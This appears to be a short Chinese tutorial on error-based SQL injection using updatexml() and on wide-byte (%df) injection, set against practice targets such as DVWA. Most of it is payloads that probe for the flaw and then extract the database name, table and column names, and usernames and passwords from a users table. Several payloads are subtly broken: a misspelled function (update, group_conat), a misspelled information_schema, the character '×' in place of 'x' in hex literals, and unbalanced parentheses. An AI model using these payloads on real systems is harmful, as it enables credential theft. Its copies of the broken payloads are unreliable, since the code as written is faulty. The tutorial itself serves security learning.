一.报错注入
1.先输入1'判断是否存在漏洞,若产生报错,即代表很有可能存在漏洞,然后使用1 and 1=1,1 and 1=2,1' and '1' ='1,1' and '1'='2来判断注入类型(此判断和联合查询一样,但布尔盲注和时间盲注是另两种判断方式)
2.获取数据库名
updatexml(1,concat(0×7e,database()),3)%23
第二个参数代表所要查询的内容,前面的1和末尾的3不用深度理解,可以理解为拿来凑数的
0×7e是为了添加一个特殊字符,让它和database()这个函数去联合执行,至于为什么使用16进制,因为16进制较好理解
3.获取表名
update(1,concat(0×7e,select table_name from information_schema.tables where table_schema=database() limit 1,1)),3)
将表名一同显示,这里将使用到group_concat()函数
update(1,concat(0×7e,(select group_conat(table_name) from information_schema.tables where table_schema=database())),3)
4.获取表中字段名
updatexml(1,concat(0×7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security')),3)
5.获取表中记录
update(1,concat(0×7e,(select group_concat(id,username,password) from users)),1)
这里补充一个函数:concat(),与前者group_concat不一样,是两种不同的作用,它的标准格式是concat(1,2,3),目的将这三个字符串无缝拼接起来
二.宽字节注入
1.使用1%df来对查询语句进行闭合,随后可按照正常流程进行sql注入,如1%df' union select 1,2,3
2.-1%df union select 1,table_name,3 from informaion_schema.tables where table_schema=0×64767761%23
这里举例,0×64767761代表DVWA
感谢观看